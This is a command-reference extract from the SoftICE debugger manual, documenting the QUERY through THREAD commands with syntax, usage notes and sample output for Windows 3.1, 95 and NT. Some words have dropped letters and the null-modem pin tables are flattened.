QUERY [[-x] address] | [process-type]

-x Shows the mapping for a specific linear address within every context
where it is valid.
address Linear address to query.
process-type Expression that can be interpreted as a process.

%Use
The QUERY command displays a map of a single process's virtual address space or
the
mapping for a specific linear address. If no parameter is specified, QUERY
displays the map of
the current process. If a process parameter is specified, QUERY displays
information about
each address range in the process.

%Output
For Windows 95
Under Windows 95, the QUERY command displays the following information:
Base Pointer to the base address of the region of pages.
AllocBase Pointer to the base address of a range of pages allocated by the
VirtualAlloc function that contains the base address in the Base
column.
AllocProtect Access protection assigned when the region was initially
allocated.
Size Size, in bytes, of the region starting at the base address in which all
pages have the same attributes.
State State of the pages in the region : Commit, Free, or Reserve.
. Commit --- Committed pages for which physical storage was

allocated
. Free --- Free pages not accessible to the calling process and
available to be allocated. AllocBase, AllocProtect, Protect, and
Owner are undefined.
. Reserve --- Reserved pages. A range of the process's virtual address
space is reserved, but physical storage is not allocated. Current
Access Protection (Protect) is undefined.
Protect Current Access protection.
Owner Owner of the region.
Context Address context.

For Windows NT
The QUERY command displays the following information:
Context Address context.
Address Range Start and end address of the linear range.
Flags Flags from the node structure.
MMCI Pointer to the memory management structure.
PTE Structure that contains the ProtoPTEs for the address range.
Name Additional information about the range. This includes the following:
. Memory mapped files will show the name of the mapped file.
. Executable modules will show the file name of the DLL or EXE.
. Stacks will be displayed as STACK(thread ID).
. Thread information blocks will be displayed as TIB(thread ID).
. Any address that the WHAT command can identify may also
appear.

%Example
Windows 95
The following example uses the QUERY command with no parameters to display a
partial
listing of the map for the current process, GDIDEMO:
.: QUERY

The following example shows every context where base address 416000 is valid:
.: QUERY -x 416000

Base AllocBase AllocProt Size State Protect Owner
0 0 0 400000 Free NA
400000 400000 1 7000 Commit RO GDIDEMO
407000 400000 1 2000 Commit RW GDIDEMO
409000 400000 1 2000 Commit RO GDIDEMO
40B000 400000 1 5000 Reserve NA GDIDEMO
410000 410000 1 1000 Commit RW Heap 32
411000 410000 1 FF000 Reserve NA Heap 32
510000 410000 1 1000 Commit RW Heap 32
511000 410000 1 F000 Reserve NA Heap 32
520000 520000 4 1000 Commit RW
521000 520000 4 F000 Reserve NA
Base AllocBase AllocProt Size State Protect Owner Context
416000 400000 1 F1000 Reserve NA KERNEL32
416000 400000 1 E9000 Reserve NA Heap 32 MSGSRV32
416000 400000 1 D000 Commit RO EXPLORER Explorer
416000 410000 1 F9000 Reserve NA Heap 32 WINFILE
416000 400000 1 2000 Commit RO CONSOLE Console
416000 400000 1 E9000 Reserve NA Heap 32 WINOLDAP
416000 410000 0 EA000 Free NA Mprexe
416000 410000 1 FA000 Reserve NA Heap 32 Spool32

The following example shows a partial listing of the virtual address map for
Explorer:
.: QUERY EXPLORER

Windows NT

The following example uses the QUERY command to map a specific linear address for
Windows NT:
.:QUERY 7f2d0123

Base AllocBase AllocProt Size State Protect Owner
0 0 0 400000 Free NA
400000 400000 1 23000 Commit RO EXPLORER
423000 400000 1 1000 Commit RW EXPLORER
424000 400000 1 11000 Commit RO EXPLORER
435000 400000 1 B000 Reserve NA EXPLORER
440000 440000 1 9000 Commit RW Heap32
449000 440000 1 F7000 Reserve NA Heap32
540000 440000 1 1000 Commit RW Heap32
541000 440000 1 F000 Reserve NA Heap32
550000 550000 4 1000 Commit RW
551000 550000 4 F000 Reserve NA
560000 560000 1 106000 Reserve NA
Context Address Range Flags MMCI PTE Name
csrss 7F2D0000-7F5CFFFF 06000000 FD8AC128 E1191068 Heap #07

The following example uses the QUERY command to list the address map of the PROGMAN process for Windows NT:
.:QUERY progman
.:query progman
Address Range Flags MMCI PTE Name
00010000-00010FFF C4000001
00020000-00020FFF C4000001
00030000-0012FFFF 84000004 STACK(6E)
00130000-00130FFF C4000001
00140000-0023FFFF 8400002D Heap #01
00240000-0024FFFF 04000000 FF0960C8 E1249948 Heap #02
00250000-00258FFF 01800000 FF0E8088 E11B9068 unicode.nls
00260000-0026DFFF 01800000 FF0E7F68 E11BBD88 locale.nls
00270000-002B0FFF 01800000 FF0E7C68 E11B6688 sortkey.nls
002C0000-002C0FFF 01800000 FF0E7AE8 E11BBA08 sorttbls.nls
002D0000-002DFFFF 04000000 FF09F3C8 E1249E88
002E0000-0035FFFF 84000001
00360000-00360FFF C4000001
00370000-0046FFFF 84000003 STACK(2E)
00470000-0047FFFF 04000000 FF0DF4E8 E124AAA8
00480000-00481FFF 01800000 FF0E7DE8 E110C6E8 ctype.nls
01A00000-01A30FFF 07300005 FF097AC8 E1246448 progman.exe
77DE0000-77DEFFFF 07300003 FF0FC008 E1108928 shell32.dll
77E20000-77E4BFFF 07300007 FF0FBA08 E1110A08 advapi32.dll
77E50000-77E54FFF 07300002 FF0FADC8 E1103EE8 rpcltc1.dll
77E60000-77E9BFFF 07300003 FF0FB728 E1110C48 rpcrt4.dll
77EA0000-77ED7FFF 07300003 FF0FCE08 E11048C8 user32.dll
77EE0000-77F12FFF 07300002 FF0FD868 E110F608 gdi32.dll
77F20000-77F73FFF 07300003 FF0EE1A8 E110C768 kernel32.dll
77F80000-77FCDFFF 07300005 FF0FDB48 E1101068 ntdll.dll
7F2D0000-7F5CFFFF 03400000 FF0E2C08 E11C3068 Heap #05
7F5F0000-7F7EFFFF 03400000 FF0E8EA8 E11B77E8
7FF70000-7FFAFFFF 84000001
7FFB0000-7FFD3FFF 01600000 FF116288 E1000188 Ansi Code Page
7FFDD000-7FFDDFFF C4000001 TIB(2E)
7FFDE000-7FFDEFFF C4000001 TIB(6E)
7FFDF000-7FFDFFFF C4000001 SubSystem Process

:R
^R Windows 3.1, Windows 95, Windows NT Display/ChangeMemory
^Display or change the register values.

%Syntax
 For Windows 3.1
 R [register-name [[=]value]]

 For Windows 95 and Windows NT
 R [-d | register-name | register-name [=] value]

 register-name Any of the following: AL, AH, AX, EAX, BL, BH, BX, EBX, CL,
 CH, CX, ECX, DL, DH, DX, EDX, DI, EDI, SI, ESI, BP, EBP, SP,
 ESP, IP, EIP, FL, DS, ES, SS, CS FS, GS.
 value If register-name is any name other than FL, the value is a hexadecimal
 value or an expression. If register-name is FL, the value is a series of
 one or more of the following flag symbols, each optionally preceded
 by a plus or minus sign:
 . O (Overflow flag)
 . D (Direction flag)
 . I (Interrupt flag)
 . S (Sign flag)
 . Z (Zero flag)
 . A (Auxiliary carry flag)
 . P (Parity flag)
 . C (Carry flag)
 -d Displays the registers in the Command window.

%Use
 If no parameters are supplied, the cursor moves up to the Register window, and the registers
 can be edited in place. If the Register window is not currently visible, it is made visible. If
 register-name is supplied without a value, the cursor moves up to the Register window
 positioned at the beginning of the appropriate register field.

 If both register-name and value are supplied, the specified register's contents are changed to
 the value.

 To change a flag value, use FL as the register-name, followed by the symbols of the flag whose
 values you want to toggle. To turn a flag on, precede the flag symbol with a plus sign. To turn
 a flag off, precede the flag symbol with a minus sign. If neither a plus or negative sign is
 specified, the flag value will toggle from its current state. The flags can be listed in any order.

%Example
 This example sets the AH register equal to 5.
 R ah=5

 This example toggles the O, Z, and P flag values.
 R fl=ozp

 This example moves the cursor into the Register window position under the first flag field.
 R fl

 This example toggles the O flag value, turns on the A flag value, and turns off the C flag value.
 R fl=o+a-c

:RS
^RS WINDOWS 3.1, WINDOWS 95, WINDOWS NT WINDOWCONTROL
^F4
^Restore the program screen.

%Syntax
 RS

%Use
 The RS command allows you to restore the program screen temporarily.

 This feature is useful when debugging programs that update the screen frequently. Use the RS
 command to redisplay your program screen. To return to the SoftICE screen, press any key.

:S
^S Windows 3.1, Windows 95, Windows NT Miscellaneous
^Search memory for data.

%Syntax
 For Windows 3.1
 S [address L length data-list]

 For Windows 95 and Windows NT
 S [-cu][address L length data-list]

 address Starting address for search.
 length Length in bytes.
 data-list List of bytes or quoted strings separated by commas or spaces. A
 quoted string can be enclosed with single or double quotes.
 -c Make search case-insensitive.
 -u Search for Unicode string.

%Use
 Memory is searched for a series of bytes or characters that matches the data-list. The search
 begins at the specified address and continues for the length specified. When a match is found,
 the memory at that address is displayed in the Data window. and the following message is
 displayed in the Command window.
 PATTERN FOUND AT location

 If the Data window is not visible, it is made visible.
 To search for subsequent occurrences of the data-list, use the S command with no parameters.
 The search will continue from the address where the data-list was last found, until it finds
 another occurrence of data-list or the length is exhausted.

 The S command ignores pages that are marked not present. This makes it possible to search
 large areas of address space using the flat data selector (Windows 3.1/Windows 95: 30h,
 Windows NT: 10h).

%Example
 This example searches for the string 'Hello' followed by the bytes 12h and 34h starting at
 offset ES:DI+10 for a length of ECX bytes.
 S es:di+10 L ecx 'Hello',12,34

This example searches the entire 4GB virtual address range for 'string'.
S 30:0 L ffffffff 'string'

:SERIAL
^SERIAL Windows 3.1, Windows 95, Windows NT Customization
^Redirect console to serial terminal.

%Syntax
SERIAL [on [com-port] [baud-rate] | off]

com-port Number from 1 to 4 that corresponds to COM1, COM2, COM3 or
COM4. Default is COM1.
baud-rate Baud-rate to use for serial communications. The default is to have
SoftICE automatically determine the fastest possible baud-rate that
can be used. The rates are 1200, 2400, 4800, 9600, 19200, 23040,
28800, 38400, 57000, 115000.

%Use
Use the SERIAL command to establish a remote debugging session through a serial port (refer
to DIAL on page 67 for establishing remote sessions over a modem). Remote debugging
requires a second IBM-compatible PC running MSDOS. The machine being debugged is
known as the local machine, and the machine where SoftICE is being controlled remotely is
known as the remote machine.

To use the SERIAL command, the remote and local machines must be connected with a null
modem cable, with wiring as shown in the following figure, attached through serial ports.
Before using the SERIAL command on the local machine, you must first run the
SERIAL.EXE program on the remote machine.

The syntax for the SERIAL.EXE program is the same as the syntax of the SERIAL command,
so the following information is applicable to both.

The SERIAL command has two optional parameters. The first parameter specifies the com-
port through which the connection will be made (on the machine where the command is
entered). If no com-port is specified, com-port 1 (COM1) is chosen by default. The second
parameter specifies a baud-rate. If a baud-rate is specified, the same baud-rate must be
explicitly specified on both sides of the connection. If no baud-rate is specified, SoftICE will
attempt to determine the fastest baud-rate that can be used over the connection without data
loss. The process of arriving at the maximum rate can take a few seconds, during which
SoftICE prints the rates it is checking. After the maximum rate is determined, SoftICE
indicates the result.

When a connection is established between a remote machine and a local machine, the user of
the remote machine is presented with the same SoftICE interface they would see if they were

debugging on the local machine. The display on the local machine is restored to the Windows
screen while the connection is maintained.

Ctrl D is always the pop-up hot key sequence on the remote machine. SoftICE can also be
popped up from the local machine with the local machine's pop-up hot key sequence (which
may have been set via the ALTKEY command).

If the remote machine has a monochrome display, the COLOR command can be used to
make SoftICE's output more readable.

If for any reason data is lost over the connection and SoftICE output on the remote machine
becomes corrupted, Shift \ (backslash) can be typed on the remote machine to force a repaint
of the SoftICE screen.

Specifying SERIAL OFF will end the remote debugging session and SoftICE will resume
using the local machine for I/O. SERIAL with no parameters will display the current serial
state and the com-port and baud-rate being used if SERIAL is ON.
Using Ctrl-Z will exit the SERIAL.EXE program on the remote machine after a remote
debugging session is complete.

If you place the SERIAL command in the SoftICE initialization string setting, SERIAL.EXE
must be running on the remote machine before SoftICE is started on the local machine.
Pins
2
3
4
5
6
7
8
20
Pins
2
3
4
5
6
7
8
20
25-Pin Null-Modem Configuration
Pins
2
3
5
7
8
6
1
4
Pins
2

3
5
7
8
6
1
4
9-Pin Null-Modem Configuration

For Windows 3.1
Prior to using the SERIAL command, you must place the COMn keyword on a separate line
in the WINICE.DAT file to reserve a specific COM port for the serial connection. The n is a
number between 1 and 4 representing the COM port. If this statement is not present in
WINICE.DAT, SoftICE cannot be popped up from the remote machine. To set Com 2 as the
serial post, use:
Com2

For Windows 95
Select the desired com port in the remote debugging initialization settings within Symbol
Loader.

%Example
On the remote machine:
SERIAL.EXE on 19200
On the local machine:
SERIAL on 2 19200

When the first command is executed, the remote machine will be prepared to receive a
connection request from the local machine on its first com-port at 19200bps. The second
command establishes a connection between the two machines through the local machine's
second com-port. Since the first command explicitly specified a baud rate, the SERIAL
command on the local machine must explicitly specify the same baud rate of 19200bps.
Once the connection is established, the remote machine will serve as the SoftICE interface for
debugging the local machine until SERIAL off is entered on the remote machine.
See Also Chapter 7, ``Debugging Remotely,'' in the Using SoftICE manual.

:SET
^SET Windows 95 and Windows NT ModeControl
^Display or change the state of an internal variable.

%Syntax
SET [keyword] [on | off] [value]

%Use
Use the SET command to display or change the state of internal SoftICE variables.
If you specify SET with a keyword, ON or OFF enables or disables that option. If you specify
SET with a keyword and value, it assigns the value to the keyword. If SET is followed by a
keyword with no additional parameters, it displays the state of the keyword.

Using SET without parameters displays the state of all keywords.

SET supports the following keywords:
SET CASESENSITIVE ON makes global and local symbol names case sensitive. Enter them
exactly as displayed by the SYM command.
ALTSCR [on|off]
CASESENSITIVE [on|off]
CODE [on|off]
EXCLUDE [on|off]
FAULTS [on|off]
FLASH [on|off]
I1HERE [on|off]
I3HERE [on|off]
LOWERCASE [on|off]
MOUSE [on|off] [1|2|3]
PAUSE [on|off]
SYMBOLS [on|off]
TABS [on|off] [1|2|3|4|5|6|7|8]
THREADP [on|off]
VERBOSE [on|off]

SET MOUSE ON enables mouse support and SET MOUSE OFF disables it. To adjust the
speed at which the mouse moves, use one of the following: 1 (slowest speed); 2 (intermediate
speed--this is the mouse default.); 3 (fastest speed).
SET SYMBOLS ON instructs the disassembler to show the symbol names in disassembled
code. SET SYMBOLS OFF instructs the disassembler to show numbers (for example, offsets
and addresses). This command applies to both local and global symbol names.

%Example
The following example enables SoftICE fault trapping:
SET faults on

The following example sets the mouse to the fastest speed:
SET mouse 3

:SHOW
^SHOW WINDOWS 3.1, WINDOWS 95 SYMBOL/SOURCE
^Ctrl-F11
^Display instructions from the back trace history buffer.

%Syntax
SHOW [B | start] [l length]

start Hexadecimal number specifying the index within the back trace
history buffer to start disassembling from. An index of 1 corresponds
to the newest instruction in the buffer.
length Number of instructions to display.

%Use
Use the SHOW command to display instructions from the back trace history buffer. If source
is available for the instructions, the display is in mixed mode; otherwise, only code is
displayed.

All instructions and source are displayed in the Command window. Each instruction is

preceded by its index within the back trace history buffer. The instruction whose index is 1 is
the newest instruction in the buffer. Once SHOW is entered, you can use the Up and Down
Arrow keys to scroll through the contents of the back trace history buffer. To exit from
SHOW, press the Esc key.

SHOW with no parameters or SHOW B will begin displaying from the back trace history
buffer starting with the oldest instruction in the buffer. SHOW followed by a start number
begins displaying instructions starting at the specified index within the back trace history
buffer.

You can use the SHOW command only if the back trace history buffer contains instructions.
To fill the back trace history buffer, use the BPR command with either the T or TW
parameter to specifying a range breakpoint.

%Example
This command starts displaying instructions in the Command window, starting at the oldest
instruction in the back trace history buffer.
SHOW B

:SRC
^SRC WINDOWS 3.1, WINDOWS 95, WINDOWS NT SYMBOL/SOURCE
^F3
^Toggle between displaying source, mixed, and code in the Code window.

%Syntax
SRC

%Use
Use the SRC command to toggle among the following modes in the Code window: ource
mode, mixed mode, and code mode.

Hint: Use F3 to toggle modes quickly.

%Example
The following example changes the current mode of the Code window:
SRC

:SS
^SS Windows 3.1, Windows 95, Windows NT Symbol/Source
^ Search the current source file for a string.

%Syntax
SS [line-number] ['string']
line-number Decimal number.
string Character string surrounded by quotes.

%Use
The SS command searches the current source file for the specified character tring. If there is a
match, the line that contains the string is displayed as the top line in the ode window.

The search starts at the specified line-number. If no line-number is pecified, the search starts
at the top line displayed in the Code window.

If no parameters are specified, the search continues for the previously pecified string.
The Code window must be visible and in source mode before using the SS ommand. To
make the Code window visible, use the WC command. To make the Code window isplay
source, use the SRC command.

%Example
In the following example, the current source file is searched starting at ine 1 for the string 'if
(i==3)'. The line containing the next occurrence of the string becomes the op line displayed
in the Code window.
SS 1 'if (i==3)'

:STACK
^STACK Windows 3.1, Windows 95, Windows NT SystemInformation
^Display a call stack.

%Syntax
For Windows 3.1 and Windows 95
STACK [task-name | SS:[E]BP]

task-name Name of the task as displayed by the TASK command.
SS:[E]BP SS:[E]BP of a valid stack frame.

For Windows NT
STACK [thread-type | stack frame]

thread-type Thread handle or thread ID.
stack frame Value that is not a thread-type is interpreted as a stack frame.

%Use
Use the STACK command to display the call stacks for DOS programs, Windows asks, and
32-bit code.

If you enter STACK with no parameters, the current SS:[E]BP is used as a base or the stack
frame displayed. You can explicitly specify a stack base with a task-name or base address, and
under Windows NT, with a thread identifier.

If you are using STACK to display the stack of a Windows task that is not the current one,
specify either its task-name or a valid SS:[E]BP stack frame. You can use the TASK command
to obtain a list of running tasks. However, you should avoid using the STACK command
with the current task of the TASK command's output (marked with an '*'), because the task's
last known SS:[E]BP is no longer valid.

The STACK command walks the stack starting at the base by traversing x86 stack frames. If
an invalid stack frame or address that has been paged out is encountered during the walk, the

traversal will stop. The address of the call instruction at each frame is displayed along with the
name of the routine it is in, if the routine is found in the current symbol table. If the routine
is not in the symbol table, the export list and module name list are searched for nearby
symbols. If stack variables are present, they are displayed as well.

The STACK command works in 32-bit code, however, since 32-bit symbol information
support is limited to that provided in .SYM files, local variables cannot be shown. For each
frame in the call stack, both the nearest symbol to the call instruction, and the actual address,
are displayed. If there is no symbol available, the module name and object/section name are
displayed instead.

The 32-bit call stack support is not limited to applications; it will also work for VxDs and
Windows NT device driver code at ring 0. Since many VxDs are written in assembly
language, there may not be a valid call stack to walk from a VxD-stack base address.
For Windows 3.1 and Windows 95, the call stack is not followed through thunks or ring
transitions, but under Windows NT it is.

For Windows 3.1 and Windows 95
If you want SoftICE to pop up when a non-active task is restarted, you can set the STACK
command with the task as a parameter to find the address on which to set an execution
breakpoint. To do this, enter STACK followed by the task-name. The bottom line of the call
stack will show an address preceded by the word 'at'. This is the address of the CALL
instruction the program made to Windows that has not yet returned. You must set an
execution breakpoint at the address following this call.

You can also use this technique to stop at other routines higher on the call stack. This is useful
when you do not want to single step through library code until execution resumes in your
program's code.

%Output
Each entry of the call stack contains the following information:
. Symbol name or module name in which the return address falls
. SS:[E]BP value of this entry
. Call instruction's source line number if available
. Address of the first line of this routine or the name of the routine that was called to reach
this routine
If stack variables are available for this entry, the following information about each is displayed:
. SS:[E]BP relative offset
. Stack variable name
. Data in the stack variable if it is of type char, int, or long

%Example

This is the output of the STACK command after a breakpoint is set in the message handler of
a Windows program.

```
.:STACK
__astart at 0935:1021 [?]
WinMain at 0935:0d76 [00750]
[BP+000C]hInstance 0935
[BP+000A]hPrev 0000
[BP+0006]lpszCmdLine
[BP+0004]CmdShow
[BP-0002]width 00DD
[BP-0004]hWnd 00E5
USER!SENDMESSAGE+004F at 05CD:06A7
USER(01) at 0595:04A0 [?] 0595:048b
USER(06) at 05BD:1A83 [?]
=>ClockWndProc at 0935:006F [0179]
[BP+000E]hWnd 1954
[BP+000C]message 0024
[BP+000A]wParam 0000
[BP+0006]lParam 06ED:07A4
[BP-0022]ps 0000
```

This is an example of the STACK command in 32-bit mode. Execution has been stopped
within the C library DLL's memset routine:

```
.:STACK
W32SCOMB!DispatchCB32+01FF at 2197:86C5003B
UTSAMP!.text+01A4 at 2197:86C211A4
_MyGetFreeSpace@0+0016 at 2197:86C7113B
=> MSVCRT10!memset+0005 at 2197:86C94F89
```

:SYM
^SYM Windows 3.1, Windows 95, Windows NT Symbol/Source
^Display or set symbol.

%Syntax
SYM [[section-name] !] symbol-name [value]]

section-name Valid section-name. Also can be a partial section-name. This lalows
displaying symbols in a particular section. If section-name is specified,
it must be followed by an exclamation point (!). For example, you
could use the command
SYM .TEXT! to display all symbols in the .TEXT section of the
executable.
! If ``!'' is the only parameter specified, the modules in this symbol table
are listed.
symbol-name Valid symbol-name. The symbol-name can end with an asterisk (*).
This allows searching if only the first part of the symbol-name is
known. The comma ``,'' character can be used as a wildcard character
in place of any character in the symbol-name.
value Value that is used to set a symbol to a specific address.

%Use
Use the SYM command to display and set symbol addresses. If you enter SYM without
parameters, all symbols display. The address of each symbol displays next to the symbol-name.
If you specify a symbol-name without a value, the symbol-name and its address display. If the
symbol-name is not found, nothing displays.

If section-name! precedes symbol-name or asterisk (*), only symbols from the specified section
are shown.

The SYM command is often useful for finding a symbol when you can only remember a
portion of the name. Two wildcard methods are available for locating symbols. If symbol-
name ends with an asterisk (*), all symbols that match the actual characters typed prior to the
asterisk display, regardless of their ending characters. If you use a comma (,) in place of a
specific character in symbol-name, that character is a wild card character.
If you specify a value, the address of all symbols that match symbol-name are set to the value.
If you place an address between square brackets as a parameter to the SYM command, the
closest symbol above and below the address display.

%Example
All symbols that start with FOO display.
SYM foo*
All symbols that start with FOO are given the address 6000.
SYM foo* 6000
All sections for the current symbol table display.
SYM !
All symbols in section MAIN that start with FOO display.
SYM main!foo*

:SYMLOC
^SYMLOC Windows 3.1, Windows 95, Windows NT Symbol/Source
^Relocate the symbol base.

%Syntax
For Windows 3.1
SYMLOC [segment-address | o | r |
(section-number selector linear-address)]

For Windows 95 and Windows NT
SYMLOC [segment-address | o | r | -c process-type |
(section-number selector linear-address)]
segment address Only use to relocate DOS programs.
o For 16-bit Windows table only. Changes all selector values back to
their ordinal state.
r For 16-bit Windows table only. Changes all segment ordinals to their
appropriate selector value.
-c Specify a context value for a symbol table. Use when debugging DOS
extended applications.
section-number For 32-bit tables only. PE file 1 based section-number.
selector For 32-bit tables only. Protected mode selector.
linear-address For 32-bit tables only. Base address of the section.

%Use
The SYMLOC command handles symbol fixups in a loaded symbol table. The command
contains support for DOS tables, 16-bit protected mode Windows tables (using O and R
commands only), and 32-bit protected mode tables. The 32-bit support is intended for 32-bit
code that must be manually fixed up such as DOS 32-bit extender applications.

In a DOS program, SYMLOC relocates the segment components of all symbols relative to the

specified segment-address. This function is necessary when debugging loadable device drivers
or other programs that cannot be loaded directly with the SoftICE Loader.

When relocating for a loadable device driver, use the value of the base address of the driver as
found in the MAP command. When relocating for an .EXE program, the value is 10h greater
than that found as the base in the MAP command. When relocating for a .COM program,
use the base segment address that is found in the MAP command.

The MAP command displays at least two entries for each program. The first is typically the
environment and the second is typically the program. The base address of the program is the
relocation value.

For Windows 95 and Windows NT
The SYMLOC -C option allows you to associate a specific address context with the current
symbol table. This option is useful for debugging an extender application under Windows
NT where SoftICE would not be able to assign a context to the symbol table automatically.

%Example
The following example relocates all segments in the symbol table relative to 1244. The +10
relocates a TSR that was originally an .EXE file. If it is a .COM file or a DOS loadable device
driver, the +10 is not necessary.
.:SYMLOC 1244+10
The following example relocates all symbols in section 1 of the table to 401000h using
selector 1Bh. Each section of the 32-bit table must be relocated separately.
.:SYMLOC 1 1b 401000
The following example sets the context of the current symbol table to the process whose
process ID is 47. Subsequently, when symbols are used, SoftICE will automatically switch to
that process.
.:SYMLOC -c 47

:T
^T WINDOWS 3.1, WINDOWS 95, WINDOWS NT FLOWCONTROL
^F8
^Trace one instruction.

%Syntax
T [=start-address] [count]

count Specify how many times SoftICE should single step before stopping.

%Use
The T command uses the single step flag to single step one instruction.
Execution begins at the current CS:EIP, unless you specify the start-address parameter. If you
specify this parameter, CS:EIP is changed to start-address prior to single stepping.

If you specify count, SoftICE single steps count times. Use the Esc key to terminate stepping

with a count.

If the Register window is visible when SoftICE pops up, all registers that were altered since the
T command was issued are displayed with the bold video attribute.

If the Code window is in source mode, this command single steps to the next source
statement.

%Example
This example single steps through eight instructions starting at memory location CS:1112.
T = cs:1112 8

:TABLE
^TABLE Windows 3.1, Windows 95, Windows NT Symbol/Source
^Change or display the current symbol table.

%Syntax
For Windows 3.1
TABLE [[r] partial-table-name] | autoon | autooff | $

For Windows 95 and Windows NT
TABLE [partial-table-name] | autoon | autooff | $

partial-table-name Symbol table name or enough of the first few characters to define a
unique name.
autoon Key word that turns auto table switching on.
autooff Key word that turns auto table switching off.
$ Specify $ to switch to the table where the current instruction pointer is
located.

%Use
If you do not specify any parameters, all the currently loaded symbol tables are displayed with
the current symbol table highlighted. If you specify a partial-table-name, that table becomes
the current symbol table.

Use the TABLE command when you have multiple symbol tables loaded. SoftICE supports
symbol tables for 16- and 32-bit Windows applications and DLLs, 32-bit Windows VxDs,
Windows NT device drivers, DOS programs, DOS loadable device drivers, and TSRs.
Symbols are only accessible from one symbol table at time. You must use the TABLE
command to switch to a symbol table before using symbols from that table.
If you use the AUTOON keyword, SoftICE will switch to auto table switching mode. This
will cause the current table to become whichever table the instruction pointer is in when
SoftICE pops up. AUTOOFF turns off this mode.

Tables are not automatically removed when your program exits. If you reload your program
with the SoftICE Loader, the symbol table corresponding to the loaded program is replaced
with the new one.

For Windows 3.1

If the R parameter precedes partial-table-name, the specified table is removed. Specifying an
``*'' after the R parameter removes all symbol tables.

For Windows 95 and Windows NT
Symbol tables can be tied to an address context or multiple address contexts. If a table is tied
to a context, switching to that table using the TABLE command switches to the appropriate
address context. If you use any symbol from a context sensitive table, SoftICE switches to that
context. Use View Symbol Tables in SoftICE Loader to remove tables from memory. The R
parameter is not supported.

%Example
Since no parameters are specified in the following command, all loaded symbol tables are
listed. GENERIC is highlighted, because it is the current table. The amount of available
symbol table memory is displayed at the bottom.

```
.:TABLE
MYTSR.EXE
MYAPP.EXE
MYVXD
GENERIC
006412 bytes of symbol table memory available
```

In the following example, the current table is changed to MYTSR.EXE. Notice that only
enough characters to identify a unique table were entered.

```
.:TABLE myt
```

:TABS
^TABS Windows 3.1, Windows 95, Windows NT Customization
^Display or set the tab settings for source display.

%Syntax
TABS [tab-setting]

tab-setting Number from 1 through 8 that specifies how many columns between
tab stops.

%Use
Use the TABS command to display or set tab-settings for the display of source files. Tab stops
can be anywhere from 1 to 8 columns. The default TABS setting is 8. TABS with no
parameters display the current tab-setting. Specifying a tab-setting of 1 allows the most source
to be viewed since each tab will be replaced by a single space.

%Example
This example causes the tabs setting to change to every fourth column starting at the first
display column.

```
TABS 4
```

:TASK
^TASK Windows 3.1, Windows 95, Windows NT SystemInformation
^Display the Windows task list.

%Syntax
 TASK

%Use
 The TASK command displays information about all tasks that are currently running. The task
 that has focus is displayed with an asterisk after its name. This command is useful when a
 general protection fault occurs because it indicates which program caused the fault.

 For Windows NT
 The TASK command is process specific and only shows 16-bit tasks under Windows NT. In
 addition, it is only useful when the current context is that of an NTVDM process containing
 a WOW box. To view information or processes, refer to PROC on page 162.

 %Output
 For each running task, the following information displays:
 Task Name Name of the task.
 SS:SP Stack address of the task when it last relinquished control.
 StackTop Top of stack offset.
 StackBot Bottom of stack offset.
 StackLow Lowest value that SP has ever had when there was a context-switch
 away from the task.
 TaskDB Selector for the task data base segment.
 hQueue Queue handle for the task. This is just the selector for the queue.
 Events Number of outstanding events in the queue.

 For Windows 3.1 and Windows 95
 The TASK command works for 16- and 32-bit tasks, however, the following fields change for
 32-bit tasks:
 StackBot Highest legal address of the stack shown as a 32-bit flat offset.
 StackTop Lowest legal address of the stack shown as a 32-bit flat offset.
 StackLow Field is not used.
 SS:SP Contains the 16-bit selector offset address of the stack. If you examine
 the base address of the 16-bit selector, you see that this points at the
 same memory as does the flat 32-bit pointer used with the 32-bit data
 selector.

%Example
 The following example shows the TASK command on Windows 3.1 running Win32s and its
 output.

```
.:TASK
TaskNm SS:SP StackTop StackBot Low TaskDB hQueue Events
FREECELL 21BF:7D96 86CE0000 86D00000 10FF 121F 0000
PROGMAN 17A7:200A 0936 2070 14CE 064F 07D7 0000
CLOCK 1427:1916 02E4 1A4E 143E 144F 1437 0000
MSWORD * 29AF:913E 5956 93A4 7ADE 1F67 1F47 0000
```

:THREAD
^THREAD Windows 95 SystemInformation
^Display thread information.

%Syntax
 THREAD [TCB | ID | task-name]

 TCB Thread Control Block.
 ID Thread ID number.

task-name Name of a currently running 32-bit process.

%Use
Use the THREAD command to obtain information about a thread.
. If you do not specify any options or parameters, the THREAD command displays information for every active thread in the system.
. If you specify a task-name as a parameter, all active threads for that process display.
. If you specify a TCB or ID, only information for that thread displays.

%Output
For each thread, the following information is shown:
Ring0TCB Address of the Ring-0 thread control block. This is the address that is
passed to VxDs for thread creation and termination.
ID VMM Thread ID.
Context Context handle associated with the process of the thread.
Ring3TCB Address of the KERNEL32 Ring-3 thread control block
Thread ID Ring-3 thread ID
Process Address of the KERNEL32 process database that owns the thread.
TaskDB Selector of the task database that owns the thread.
PDB Selector of the program database (protected-mode PSP).
SZ Size of the thread which can be either 16 or 32 bit.
Owner Process name of the owner.

If you specify TCB or ID, this information displays for the thread with that TCB or ID:
. Current register contents for the thread.
. All thread local storage offsets within the thread. This shows the offset in the thread
control block of the VMM TLS entry, the contents of the TLS entry, and the owner of
the TLS entry.

%Example
This example displays the thread that belongs to the Winword process:
.:THREAD
The following%Example shows abbreviated information about the thread with ID 8B.
.:THREAD 8B

```
Ring0TCB ID Context Ring3TCB ThreadID Process TaskDB PDB SZ Owner
C1051808 008B C104B990 815842CC FFF0671F 8158AAA8 274E 25B7 32 *Winword
Ring0TCB ID Context Ring3TCB ThreadID Process TaskDB PDB SZ Owner
C1051808 008B C104B990 815842CC FFF0671F 8158AAA8 274E 25B7 32 *Winword
CS:EIP=0137:BFF96868 SS:ESP=013F:0062FC3C DS=013F ES=013F FS=2EBF GS=0000
EAX=002A002E EBX=815805B8 ECX=815842CC EDX=815805B8 I S P
ESI=00000000 EDI=815805B8 EBP=0062FC80 ECODE=00000000
TLS Offset 007C = 00000000 VPICD
TLS Offset 0080 = 00000000 DOSMGR
TLS Offset 0084 = 00000000 SHELL
TLS Offset 0088 = C1053434 VMCPD
TLS Offset 008C = C104EA74 VWIN32
TLS Offset 0090 = 00000000 VFAT
TLS Offset 0094 = 00000000 IFSMgr
```

:THREAD (NT)
^THREAD Windows NT SystemInformation
^Display information about a thread.

%Syntax
THREAD [-r | -x | -u] [thread-type | process-type]

-r Display value of the thread's registers.

-x Display extended information for each thread.
-u Display threads with user-level components.
thread-type Thread handle or thread id.
process-type Process-handle, process-id or process-name.

%Use
Use the THREAD command to obtain information about a thread.
. If you do not specify any options or parameters the THREAD command displays information for every active thread in the system.
. If you specify a process-type as a parameter, all the active threads for that process display.
. If you specify a thread-type, only information for that thread displays.

For the -R and -X options, the registers shown are those that are saved on thread context
